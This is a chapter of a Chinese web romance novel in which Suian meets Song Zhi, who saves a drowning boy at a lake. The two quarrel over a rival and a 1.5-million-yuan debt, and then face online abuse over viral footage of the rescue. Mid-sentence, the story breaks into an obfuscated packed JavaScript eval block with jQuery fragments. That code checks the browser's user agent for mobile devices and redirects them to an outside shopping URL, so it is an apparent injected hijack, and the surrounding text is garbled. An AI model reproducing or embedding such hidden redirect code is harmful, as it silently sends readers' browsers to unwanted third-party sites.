“邹女士。”
“啊?”雎安一时间都没反应过来,酒店前台是在叫她。
“刚刚有一个男人过来找你,报出了房号,问我你还住不住在这、在不在房间,说是有事找。”前台公式化地笑了笑,“我说我也不知道,然后他等了一会儿,就离开了。”
能报出她的房号,还问她是不是还住在这,雎安只能想到宋挚,也只有宋挚。
“谢谢,我知道是谁了。”雎安点头致谢,“我晚点联系他。”
晚上11点15分,雎安终于回到了自己的房间,直接穿着外衣倒在了酒店床上。
她拿出手机,先查看了和宋挚的聊天框,发现他并没有给她发信息的时候,她疑惑地蹙了蹙眉。而后,她忽视父母发给她的轰炸短信,打开和周浮沉的聊天框,复了一句“我安全到酒店了”。
很快,就收到了周浮沉的回复。
雎安没细看,心中着急,行动上却故意拖了好一会儿,在临睡前,才怀着忐忑而期待的心,将怎么会来酒店找她的信息发给了宋挚。
她关闭手机,强制自己入睡,却在床上翻来覆去了近一个小时,最终还是没能等到白天,而是立刻爬了起来,拿起床头柜上的手机,查看消息。
“明天十二点,逃离餐馆。”
这条消息是在她发出后的十分钟后回复的,不是问她能不能来,而是直接将时间和地点甩给她。
好拽,好帅,好喜欢~
这是雎安看到信息的第一反应,第二反应就是压不住的唇角,紧接着,便在大半夜回复了个“好”字,美滋滋地睡了。
雎安一觉到早上十点,醒来后,火急火燎地收拾自己,提前出门去了附近商场,买了瓶小一千的香水,还让柜姐帮忙化了个妆。
上午十一点半,她终于动身前往逃离餐馆。
上午十一点四十五分,因为附近有明星在拍综艺节目,附近的交通受到管制,雎安被放到距离目的地还有一公里的湖边下车,只能认命地打开导航,准备一边走一边给宋挚打个电话,提前说明她很可能会迟到。
她拨出去了,电话铃声在附近响起。
雎安认得宋挚的电话铃声,于是。环顾四周,寻找他的身影。
紧接着,是骤起的扑水声,和一声惊呼。
雎安循声而出,看到一个约莫十岁的男孩子在湖里扑腾个不停,岸边还有个身着黑色休闲服的中年女人,她惊慌失措地朝路人呼喊,说她不会游泳,有谁能帮她救救孩子。
雎安不会游泳,第一时间拨了119,在她着急着交代信息的时候,她注意到有个蓝色身影在往岸边去。
是宋挚!
雎安往前冲,一把抓住了他的手肘,将信息交代清楚后,直接挂断了电话。
“如果你只是会游泳,未经过专业训练,是不建议下水救人的。”雎安说得又急又快,盈亮的双眼中透着呼之欲出的担忧和关切,“很危险!”
宋挚定定地看着雎安的眼睛,回头看了眼湖中那还在扑腾的男孩子,极其淡定地推开了雎安的手,“你放心,我有分寸。”
雎安眉头紧蹙,试图叫住他,“我叫了消防,很快就到!”
可宋挚却没有回应她,也没有上前,而是站在岸边的台阶上,看了眼着急上火的黑衣女人,重新将视线定格在男孩子的身上,慢慢地脱掉了蓝色上衣和鞋子。
直到男孩子失了力气,扑通不动了,黑衣女人哭喊得愈发急切,可周围却没有任何人帮忙,就在黑衣女人打算冲下去试一试的时候,看到一个男子果断下了水,一把拽住她孩子的脚踝,动作迅速地将她的孩子拉了上来。
这时候,她才意识到上前去接着她的孩子,赶忙给孩子做了人工呼吸。而这时,消防员和救护车都到了,接过她的孩子,做进一步的救援。
“你没事吧?”雎安急匆匆地冲到宋挚跟前,看着他那被打湿的头发不停地滴水,毫不犹豫地伸手抚摸他的脸,满脸心疼。
此刻的宋挚还喘着气,虽然他的救援动作快准狠,却要花上不少力气,他拿起被放置在岸边的蓝色上衣,刚准备套上身,却因为雎安的动作而愣在原地。
他看见自己的发梢在不断地滴水,水滴顺着她抚摸他脸颊的手滴落而下。他将视线下移,看到了一双饱含热泪的双眸,眸中细碎的水光宛如将金银揉碎了般耀眼,照亮了他逐渐黯淡的眼眸......和心。
他慌乱地别开视线,朝雎安示意,他们的身后有很多围观群众,而后,迅速地穿好了上衣和鞋子。
雎安在确信宋挚安然无恙后,理智终于回归,依照宋挚的提醒回身,在发现路边的围观群众少说都有二十几人,还有不少人举着手机在拍视频的时候,羞得脸和耳根迅速蹿红。
哪怕她回到了酒店,脸颊和耳根子都还在发热。
恰巧酒店前台还撞见了她和宋挚一起回客房,笑着和她们打招呼,询问雎安需不需要免费升房。雎安的注意力都在自己羞红的脸颊和湿身的宋挚身上,根本无心思考,直接拒绝了。
直到宋挚从洗手间里走了出来,狭小的房间限制了他的行动,雎安坐在桌前的小椅子上,他只能坐在床上了。
紧接着,就陷入了长久的沉默。
房间里,只有宋挚擦头发的声音,雎安实在耐不住安静,起身开电视,调了一个正在播放泰剧的地方台来缓和气氛。
然而,效果并不如她意。
在她的视线意外触到他的视线时,他迅速反制,将她的视线牢牢圈在他可探究的范围之内。
“昨天,他来过?”宋挚冷不丁的开口。
雎安还没反应过来,“谁?”
宋挚选择刻意沉默,有心看她装傻,看她能怎么应付过去。
雎安在他的逼视下,意识到了他口中的“他”是谁,以及,心里逐渐升起一阵不舒服的感觉。
所以,她也选择了刻意沉默。
宋挚最近本就情绪不稳,在感知到雎安的不满情绪,以及看到她刻意回避的行为后,他胸腔的那股怒火瞬间被点燃。
“被我说中了?”宋挚将擦头的毛巾扔在地上,走到雎安面前,高大的身型挡住了灯光,与之而来的阴影完全将雎安罩住,“我们六天前还在卿卿我我,你怎么可以这样?!”
雎安俯视着他,气势却丝毫不输,“那我能怎样?我需要破除危机,我需要查案,我一个人很危险。难道?我不可以找人帮我吗?”
“所以,你就要让他到房间来?”宋挚双眼发红,气得不轻。
雎安却是一点也不怕,双手触着他的侧腰,在阴影中站了起来,“所以,你在以什么身份质问我?”
“男朋友?”
“前任?”
“炮友?”
“陌路人?”
宋挚咬紧了后槽牙,“一个被骗财骗色骗感情的人。”
“骗感情?”雎安的眸中燃起了希望。
宋挚无情打断,“我本以为你会是我的恩人。”
片刻的沉默,雎安松开宋挚,直接倒在了床上,望着天花板问道:“所以,还有机会吗?”
她像是在自言自语,“要是有机会复合的话,就好了。”
宋挚却是不买账,“你该思考怎么补偿我?找其他办法就回我母亲,而不是只想着你自己。”
雎安叹了口气,“不是我不想帮,我自己的事是有眉目的,有努力的方向。但邓阿姨的事,我实在无从下手。”
宋挚却像是沉浸在了与她的爱恨情仇中,无法自拔,“那我会恨你一辈子。”
雎安沉默不语,鼻尖却是一酸。
宋挚无心注意她的反应,脑子里都是她和周浮沉纠缠在一起的画面,他看着窗外的树影,狠狠道:“限你在三天内,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826911|176717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把150万还给我。”
“我不还。”
“什么?!”兴许是没想到雎安会拒绝得如此干脆,宋挚惊讶得忘记了自己的愤怒,“你是什么意思?”
“我不会还的,我要用这笔钱去享受人生。”
宋挚低头,终于注意到她眼角泛泪、情绪不佳的那刻,所有的狠话和质问都不攻自破。
他看着她发红的眼睛和脸颊,在妥协和拒绝间,选择了前者。
“随你,但我会让你付出代价的。”
在撂下一句狠话后,宋挚拿起自己的东西,推门而出,离开了酒店。
雎安不知道他说的代价是什么,她不感兴趣,也不害怕,因为她在当晚就付出了代价。
她失眠了。
直到凌晨三点,才进入了浅睡眠。
2023年6月29日,早上十一点。
雎安从睡梦中醒来,头脑昏沉得厉害,在起身洗漱后,想到今天没什么特别的安排,便开启运动模式,运动完后,吃了个午餐,又开始看考研的书籍。
以往她总觉得自己只有找到一份稳定的工作才有出路,如今,她有了保底的钱财,加上这段时间出去见了见世面,看了不少幸福和理财的书,了解了一些理财知识。
而今,她觉得世界无限大,并不用拘泥于所谓的“稳定”。
下午14点,兴许是高碳午餐发挥了作用,雎安开始犯困。于是,她起身活动了一番,准备刷刷手机,让自己的神经兴奋起来。
这时,手机就像是监控器一样,精准得跳出了十几条推荐新闻。
“小哥救人惹争议,是找准时机,还是磨磨唧唧?”
雎安何其敏锐,她和周浮沉曾被人议论了一周多,热度才降下去。
前几天,她走在路上,还有人背着她和朋友贴耳议论,虽然无法肯定是因为“韩剧氛围感画报”的报道,但要说概率,百分之九十六吧。
如今,轮到宋挚和她了。
这次,还是因为宋挚做好事,因为她担心宋挚救人会出事而阻拦了一次,因为宋挚不盲目下水救人,因为男孩子呛了几口水,因为她事后冲到宋挚面前担心他有事。
她和宋挚被污名成“矫情的小情侣”,被网暴了。
“妈呀,我都急死了,他两还在那卿卿我我,搁那演电视剧呢?”
“这是故意让小孩喝点水吧,长点记性。”
“这男孩真可怜,喝了不少水吧。”
“这男的应该是等电视台来了再下水。”
“可不能让这男的评上见义勇为。”
“这叫救人啊,直接是杀人罪名成立。”
雎安越往下看,连气恼都没有了,而是满脸问号。不得不说,有的人根本不带脑子上网,亦或者,他们在生活中就没用过脑。
大脑,与他们而言,只是摆设。
雎安轻蔑一笑,像看傻子聚会,直接忽视居多的恶评,转而去看那些分析宋挚是在用脑子救人、看准时机下水的留言,还有人夸宋挚沉着冷静、为她的正常担忧反应被攻击而鸣不平。
雎安笑了,在心中默默感叹,可惜明事理的人太少了。
她直接用自己的大号,无视如潮水般涌来的恶意,为宋挚据理力争。
转眼间,来到了晚餐时间。
雎安抬头,感到后颈有些不适,便上下左右晃动放松,然而,不过是十几秒的放松,雎安的脑中生出莫名的不祥的预感来。
据她所知,宋挚这个阶段的情绪很不好,而她还撒谎失败、戳破了他的希望,虽然他说他不会轻易放弃,但他看起来很愤怒、很挣扎、很孤独。而她不仅伤害了他的心,还侵犯了他的身体。
突然间,雎安的预感很不好,像是有一阵寒流经过,让她止不住地发颤。
下一秒,她就冲出了房门,拦下一辆出租车,直奔嘉源公寓。